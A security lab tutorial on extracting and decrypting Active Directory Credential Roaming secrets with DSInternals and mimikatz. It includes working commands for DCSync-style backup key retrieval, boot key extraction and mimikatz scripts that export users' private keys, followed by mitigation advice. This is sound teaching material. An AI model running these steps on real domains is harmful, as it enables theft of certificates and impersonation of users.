Previously on CQLabs
This article is a continuation of a previous one, called #CQLabs 5 – DSInternals PowerShell Module.
Introduction
One of the lesser known features of Active Directory (AD) is called Credential Roaming. When enabled, it synchronizes DPAPI Master Keys, user certificates (including the corresponding private keys) and even saved passwords between computers.
We know of several companies using the Credential Roaming feature to synchronize S/MIME and EFS certificates between computers. Their motivation typically is to avoid investments into smartcards.
In this lab, you will learn how to extract the roamed credentials from Active Directory and how to decrypt them. We will be using two open-source security tools, the DSInternals PowerShell Module and mimikatz. Be sure to use the latest version of both tools.
Credential Roaming Internals
The mechanism behind the Credential Roaming feature is quite simple: When a user logs off his Windows computer, his credentials are read from the filesystem and written to his user account object in Active Directory. The following publicly readable AD attributes are used:
- ms-PKI-RoamingTimeStamp – Indicates the time of the last synchronization.
- ms-PKI-AccountCredentials – Stores certificates, certificate signing requests, private keys and saved passwords. Sensitive information is encrypted.
- ms-PKI-DPAPIMasterKeys – Stores the DPAPI Master Keys. These symmetric keys encrypt the private keys and are themselves encrypted.
When this user then logs onto another Windows computer, these attributes are read from AD and written back to the following locations in user’s profile:
- %APPDATA%\Microsoft\Protect – DPAPI Master Keys
- %APPDATA%\Microsoft\SystemCertificates – Certificates
- %APPDATA%\Microsoft\Crypto – Private Keys
The DPAPI encryption schema in user’s context is shown on this diagram taken from the official documentation:
As we can see, the primary copy of a DPAPI master key is encrypted by a key that is derived from user’s password. In order to support password resets, a secondary copy of the master key is encrypted with a so-called DPAPI Domain Backup Key (also known as the DPAPI Domain Backup Key), that is replicated to all writable domain controllers. Windows Server 2000 DCs use a symmetric key, while all newer systems use a public/private key pair. After a user’s password is reset, the primary copy of the master key can no longer be decrypted. The secondary copy is therefore sent to a DC, which decrypts it using the backup key upon user authentication. The master key is then re-encrypted by the client using the current password and saved to the user profile.
The key message is that in order to decrypt a DPAPI Master Key belonging to a domain user, one of the following is required:
- Knowledge of user’s password, or at least of its SHA1 hash.
- Access to the Domain Controller Key. This private key is conveniently stored in Active Directory database, together with user credentials.
We will only focus on the latter option. Any attack vector against the roamed credentials will consist of these three steps:
- Retrieving the roamed credentials from Active Directory.
- Retrieving the DPAPI Domain Backup Key from Active Directory.
- Using DPAPI Domain Backup Key to decrypt the roamed credentials.
Lab Setup
This article describes multiple ways of achieving the same goal, some of which require a non-trivial Active Directory environment. To make things simple, we have created a sample AD database that contains two user accounts with roamed credentials. You can thus try to extract and decrypt these credentials by performing steps 1c, 2c, and 3 from this article on your own Windows 10 computer. On the other hand, steps 1a, 1b, 2a, and 2b are mentioned for demonstrational purposes only and would require online AD administrative access.
To prepare your computer for this lab, please follow the Setting Things Up, Exercise 1: Inspecting the Database and If Things Do Not Work sections from the previous article in this series. Additionally, you will also need to download the latest verison of mimikatz.
Be aware that most antivirus programs will mark mimikatz as a potentially dangerous program (hacktool). You therefore shouldn’t do this lab on your work computer.
1. Retrieving the Roamed Credentials
We first need to retrieve the credentials stored in Active Directory using one of the three supported ways. We then recreate the original user profile directory structure using the Save-DPAPIBlob cmdlet. The resulting directory hierarchy should look similarly to this:
1a. Active Directory Service Interface (ADSI)
As the attributes holding the encrypted credentials and master keys are readable by all authenticated users, we can use the Lightweight Directory Access Protocol (LDAP) to retrieve their values from any domain controller. The Get-ADSIAccount cmdlet reads these attributes of all user accounts and parses their values:
Get-ADSIAccount -Server lon-dc1.contoso.com | Save-DPAPIBlob -OutputPath '.\Output'
1b. Directory Replication Service
Another protocol we can use to remotely retrieve these values from a domain controller is the Directory Replication Service Remote Protocol (MS-DRSR):
Get-ADReplAccount -All -Server lon-dc1.contoso.com | Save-DPAPIBlob -OutputPath '.\Output'
Note that the Get-ADReplAccount cmdlet requires the Replicating Directory Changes All administrative permission.
1c. Offline Database Access
Try to perfom this part yourself.
The last option is to read the credentials directly from the Active Directory database using the Get-ADDBAccount cmdlet. This of course requires access to domain controller’s (DC) hard drive or its backup.
Get-ADDBAccount -All -DatabasePath '.\ADBackup\Active Directory\ntds.dit' |
Save-DPAPIBlob -OutputPath '.\Output'
2. Retrieving the DPAPI Domain Backup Keys
The backup keys are stored in the currentValue
attribute of objects whose names begin with BCKUPKEY
and are of class secret. The BCKUPKEY_PREFERRED Secret
and BCKUPKEY_P Secret
objects actually only contain GUIDs of objects that hold the current modern and legacy keys, respectively.
The modern backup key is a RSA key pair contained in a self-signed certificate that is automatically generated during domain creation. Note that its Subject
and Issuer
attributes are empty. As Windows does not perfom any automatic rollover of this certificate, it will be marked as expired in most AD environments:
The currentValue
attribute is never sent through the LDAP protocol by domain controllers, but there are luckily other means of retrieving its value.
2a. LSA RPC
The most straightforward way of remotely fetching the DPAPI Domain Backup Key from a domain controller is using the
Local Security Authority (Domain Policy) Remote Protocol (also called MS-LSAD or LSA RPC). The Get-LsaBackupKey cmdlet implements this protocol.
Get-LsaBackupKey -ComputerName lon-dc1.adatum.com |
Save-DPAPIBlob -DirectoryPath '.\Output'
2b. Replication
The same result can be achieved by communicating with the Directory Replication Service using the Get-ADReplBackupKey cmdlet:
Get-ADReplBackupKey -Server 'lon-dc1.adatum.com' |
Save-DPAPIBlob -DirectoryPath '.\Output'
Note that this operation is sometimes called a DCSync attack.
2c. Offline Database Access
Try to perfom this part yourself.
The keys can also be read directly from the database file. As the table column containing the data of the currentValue
attribute is encrypted, we first need to fetch the decryption key (so called boot key or system key) from the domain controller’s SYSTEM registry hive.
# We need to get the BootKey from the SYSTEM registry hive first:
Get-BootKey -SystemHiveFilePath '.\ADBackup\registry\SYSTEM'
<# Sample Output:
0be7a2afe1713642182e9b96f73a75da
#>
# Now we can decrypt the DPAPI backup keys from the database:
Get-ADDBBackupKey -DBPath '.\ADBackup\Active Directory\ntds.dit' `
-BootKey 0be7a2afe1713642182e9b96f73a75da |
Format-List
<#
Sample Output:
FilePath : ntds_legacy_b116cbfa-b881-43e6-ba85-ef3efa64ba22.key
KiwiCommand :
Type : LegacyKey
DistinguishedName : CN=BCKUPKEY_b116cbfa-b881-43e6-ba85-ef3efa64ba22
Secret,CN=System,DC=contoso,DC=com
KeyId : b116cbfa-b881-43e6-ba85-ef3efa64ba22
Data : {1, 0, 0, 0...}
FilePath :
KiwiCommand :
Type : PreferredLegacyKeyPointer
DistinguishedName : CN=BCKUPKEY_P Secret,CN=System,DC=contoso,DC=com
KeyId : b116cbfa-b881-43e6-ba85-ef3efa64ba22
Data : {250, 203, 22, 177...}
FilePath : ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pvk
KiwiCommand : REM Add this parameter to at least the first dpapi::masterkey
command: /pvk:"ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pvk"
Type : RSAKey
DistinguishedName : CN=BCKUPKEY_290914ed-b1a8-482e-a89f-7caa217bf3c3
Secret,CN=System,DC=contoso,DC=com
KeyId : 290914ed-b1a8-482e-a89f-7caa217bf3c3
Data : {2, 0, 0, 0...}
FilePath :
KiwiCommand :
Type : PreferredRSAKeyPointer
DistinguishedName : CN=BCKUPKEY_PREFERRED Secret,CN=System,DC=contoso,DC=com
KeyId : 290914ed-b1a8-482e-a89f-7caa217bf3c3
Data : {237, 20, 9, 41...}
#>
# In most cases, we just want to export these keys to the file system:
Get-ADDBBackupKey -DBPath '.\ADBackup\Active Directory\ntds.dit' `
-BootKey 0be7a2afe1713642182e9b96f73a75da |
Save-DPAPIBlob -DirectoryPath .\Output
# New files should have been created in the Output directory:
(dir .\Output).Name
<#
Sample Output:
ntds_legacy_b116cbfa-b881-43e6-ba85-ef3efa64ba22.key
ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pfx
ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pvk
#>
3. Decrypting the Credentials
Try to perfom this part yourself.
In the previous steps, we have exported the domain backup key, master key files, certificates, and their corresponding private keys from Active Directory. We can now use mimikatz
to first decrypt the secondary copies of the DPAPI master keys:
Next, we will use these master keys to decrypt the private keys:
Even in small real-world AD environments, one would need to use a sequence of hundreds of undocumented mimikatz commands. Luckily, the Save-DPAPIBlob cmdlet generates a file called kiwiscript.txt
, which contains all the commands we need, including their proper parameters:
REM Add this parameter to at least the first dpapi::masterkey command: /pvk:"ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pvk"
dpapi::masterkey /in:"Install\Protect\S-1-5-21-1236425271-2880748467-2592687428-1000\0f2ca69c-c144-4d80-905f-a6bcdfb0d659" /sid:S-1-5-21-1236425271-2880748467-2592687428-1000
dpapi::masterkey /in:"Install\Protect\S-1-5-21-1236425271-2880748467-2592687428-1000\acdad60e-bcc0-48fb-9ceb-7514ca5aa558" /sid:S-1-5-21-1236425271-2880748467-2592687428-1000
dpapi::cng /in:"Install\Crypto\Keys\002F8F86566CEFBC8694EE7F5BB24A5FF2BA2C18"
dpapi::cng /in:"Install\Crypto\Keys\476D927F1B009662D46D785BA58BD8E9DB42F687"
crypto::system /file:"Install\SystemCertificates\My\Certificates\EA4AD6192A82AB059BFA5E774515FDE0DA604160" /export
crypto::system /file:"Install\SystemCertificates\My\Certificates\D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB" /export
dpapi::masterkey /in:"john\Protect\S-1-5-21-1236425271-2880748467-2592687428-1109\bfefb3a6-5cdc-44f9-8521-a31feb3acdb1" /sid:S-1-5-21-1236425271-2880748467-2592687428-1109
dpapi::masterkey /in:"john\Protect\S-1-5-21-1236425271-2880748467-2592687428-1109\c14e7f69-3bf5-4c49-92d8-78d759d74ece" /sid:S-1-5-21-1236425271-2880748467-2592687428-1109
crypto::system /file:"john\SystemCertificates\My\Certificates\AF839B040D1257997A8D83EE71F96918F4C3EA01" /export
dpapi::cng /in:"john\Crypto\Keys\9F95F8E4F381BFFFD22B5EFAA013E53268451310"
dpapi::cng /in:"john\Crypto\Keys\C9ABDF8DC38EA2BA2E20AEC770D91210FF919F87"
crypto::system /file:"john\SystemCertificates\My\Certificates\DEFFADB62EE547CB88973DF664C4DC958E8E64D8" /export
crypto::system /file:"john\SystemCertificates\My\Certificates\49FD324E5CC4A6020AC9D12D4311C7B33393A1C4" /export
crypto::system /file:"john\SystemCertificates\My\Certificates\4E951C29567A261B2E90C94BCCEFAE1FA878A2CB" /export
dpapi::capi /in:"john\Crypto\RSA\S-1-5-21-1236425271-2880748467-2592687428-1109\0581f4e6088649266038726d9f8786a9_edc46440-65c9-41ce-aaeb-73754e0e38c8"
dpapi::capi /in:"john\Crypto\RSA\S-1-5-21-1236425271-2880748467-2592687428-1109\4771dfabcc8ad1ec2c84c489df041fad_edc46440-65c9-41ce-aaeb-73754e0e38c8"
As we can see, the first line of the file needs to be modified to look like this:
dpapi::masterkey /in:"Install\Protect\S-1-5-21-1236425271-2880748467-2592687428-1000\0f2ca69c-c144-4d80-905f-a6bcdfb0d659" /sid:S-1-5-21-1236425271-2880748467-2592687428-1000 /pvk:"ntds_capi_290914ed-b1a8-482e-a89f-7caa217bf3c3.pvk"
The most straightforwars approach to executing this script is to launch mimikatz.exe
from the Output
directory and to paste the entire contents of the modified kiwiscript.txt
file into its window. After the decryption process is done, the following new files should appear in the working directory:
- 49FD324E5CC4A6020AC9D12D4311C7B33393A1C4.der
- 4E951C29567A261B2E90C94BCCEFAE1FA878A2CB.der
- AF839B040D1257997A8D83EE71F96918F4C3EA01.der
- D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB.der
- DEFFADB62EE547CB88973DF664C4DC958E8E64D8.der
- dpapi_cng_0_te-SWSmartcardLogon-3884386a-ff01-4974-a680-4d2776cf188d.rsa.pvk
- dpapi_cng_0_te-SWSmartcardLogon-5ed3ce3b-a92d-4f49-b049-8bf63dcc75c6.rsa.pvk
- dpapi_cng_0_te-SWSmartcardLogon-8e0574de-61b7-444a-8037-22471f5e4d76.rsa.pvk
- dpapi_cng_0_te-SWSmartcardLogon-dbebe547-4e52-497b-8ef7-e5d731d1e43b.rsa.pvk
- dpapi_exchange_capi_0_te-e7dc414a-9f0f-4f16-bba6-0238c1bc858a.keyx.rsa.pvk
- dpapi_exchange_capi_0_te-User-1099ee2b-7532-470f-b37e-de45dcea00bc.keyx.rsa.pvk
- EA4AD6192A82AB059BFA5E774515FDE0DA604160.der
The last remaining step is to combine the resulting certificates (*.cer) with their corresponding private keys (*.key) into PKCS #12 files (*.pfx). This is the only part that has not been automated in DSInternals yet and must be performed manually. Various 3rd party tools can be used for this purpose, including:
We will continue using mimikatz
. The following command will handle the first certificate:
mimikatz # crypto::kutil /key:dpapi_cng_0_te-SWSmartcardLogon-5ed3ce3b-a92d-4f49-b049-8bf63dcc75c6.rsa.pvk /cert:D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB.der /out:D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB.pfx
The console output should look like this:
Private key
===========
|Provider name : Microsoft Software Key Storage Provider
|Implementation: NCRYPT_IMPL_SOFTWARE_FLAG ;
Algorithm : RSA
Key size : 2048 (0x00000800)
Export policy : 00000003 ( NCRYPT_ALLOW_EXPORT_FLAG ; NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG ; )
Exportable key : YES
LSA isolation : NO
Certificate
===========
Subject : DC=com, DC=contoso, CN=Users, CN=Install
Issuer : DC=com, DC=contoso, CN=Contoso Root CA
Serial : 11000000000050de4365464293081100000077
Algorithm: 1.2.840.113549.1.1.1 (RSA)
Validity : 7/28/2019 12:32:36 PM -> 7/27/2020 12:32:36 PM
UPN : Install@contoso.com
Hash SHA1: d6f23bb7bd8c0099df5f1324507ea0ca3de7deab
PKCS#12 export
==============
Export: OK - D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB.pfx
Just to be sure, we may use the built-in certutil.exe
tool to test the validity of the combined key pair:
C:\>certutil -p mimikatz -dump D6F23BB7BD8C0099DF5F1324507EA0CA3DE7DEAB.pfx
================ Certificate 0 ================
================ Begin Nesting Level 1 ================
Element 0:
Serial Number: 7700000011089342466543de50000000000011
Issuer: CN=Contoso Root CA, DC=contoso, DC=com
NotBefore: 7/28/2019 12:32 PM
NotAfter: 7/27/2020 12:32 PM
Subject: CN=Install, CN=Users, DC=contoso, DC=com
Non-root Certificate
Template: 1.3.6.1.4.1.311.21.8.4390590.11476644.5065600.14262005.6728248.160.1.36
Cert Hash(sha1): d6f23bb7bd8c0099df5f1324507ea0ca3de7deab
---------------- End Nesting Level 1 ----------------
Provider = Microsoft Software Key Storage Provider
Private key is NOT plain text exportable
Encryption test passed
CertUtil: -dump command completed successfully.
The Encryption test passed message means that the private key corresponds to the public one. Note that the PFX file is encrypted using password mimikatz.
We can thus continue with the remaining certificates:
crypto::kutil /key:dpapi_cng_0_te-SWSmartcardLogon-8e0574de-61b7-444a-8037-22471f5e4d76.rsa.pvk /cert:EA4AD6192A82AB059BFA5E774515FDE0DA604160.der /out:EA4AD6192A82AB059BFA5E774515FDE0DA604160.pfx
crypto::kutil /key:dpapi_exchange_capi_0_te-User-1099ee2b-7532-470f-b37e-de45dcea00bc.keyx.rsa.pvk /cert:DEFFADB62EE547CB88973DF664C4DC958E8E64D8.der
crypto::kutil /key:dpapi_exchange_capi_0_te-e7dc414a-9f0f-4f16-bba6-0238c1bc858a.keyx.rsa.pvk /cert:4E951C29567A261B2E90C94BCCEFAE1FA878A2CB.der /out:4E951C29567A261B2E90C94BCCEFAE1FA878A2CB.pfx
crypto::kutil /key:dpapi_cng_0_te-SWSmartcardLogon-3884386a-ff01-4974-a680-4d2776cf188d.rsa.pvk /cert:49FD324E5CC4A6020AC9D12D4311C7B33393A1C4.der" /out:49FD324E5CC4A6020AC9D12D4311C7B33393A1C4.pfx
crypto::kutil /key:dpapi_cng_0_te-SWSmartcardLogon-dbebe547-4e52-497b-8ef7-e5d731d1e43b.rsa.pvk /cert:AF839B040D1257997A8D83EE71F96918F4C3EA01.der /out:AF839B040D1257997A8D83EE71F96918F4C3EA01.pfx
If we import the PFX files into our certificate store, we may also use Windows UI to check that we really have the matching private keys:
Conclusion
You should now understand how the Credential Roaming feature works and how the private keys can be exported from Active Directory and decrypted using the DPAPI Domain Backup Key.
This feature is as secure as Active Directory itself. If a malicious actor is able to compromise Active Directory at the level that he can export the DPAPI Domain Backup Key, he most probably also has the information necessary to perform much more dangerous attacks, e.g. Golden Ticket or Pass-the-Hash.
In order to protect your organization from attacks against the roamed credentials, you should follow the these generic recommendations:
- Enforce users to configure strong and unique Active Directory passwords. You can use DSInternals to regularly audit AD password quality.
- Restrict access to domain controller backups and virtual hard drives.
- Be cautious when delegating the Replicating Directory Changes All permission.
- If possible, do not use the Credential Roaming feature at all. Try to replace it with (virtual) smart cards or Mobile Device Management (MDM) solutions.
To Be Continued…
The DSInternals PowerShell module has some more features that we have not explored yet. We will discuss them in a future lab.
Author
Michael Grafnetter is an expert on Active Directory security who works as a consultant, trainer, and researcher. He is best known as the author of the open-source Directory Services Internals (DSInternals) PowerShell module and Thycotic Weak Password Finder, tools used by security auditors and penetration testers worldwide. He holds a master’s degree in Software Engineering and is a former Microsoft MVP. Michael was a speaker at many conferences, including Black Hat Europe, HipConf New York, and BSides Lisbon.
Are you and your organization prepared for advanced attacks on Active Directory? Take 2-hours training from the CQURE CyberBytes series and stay secure.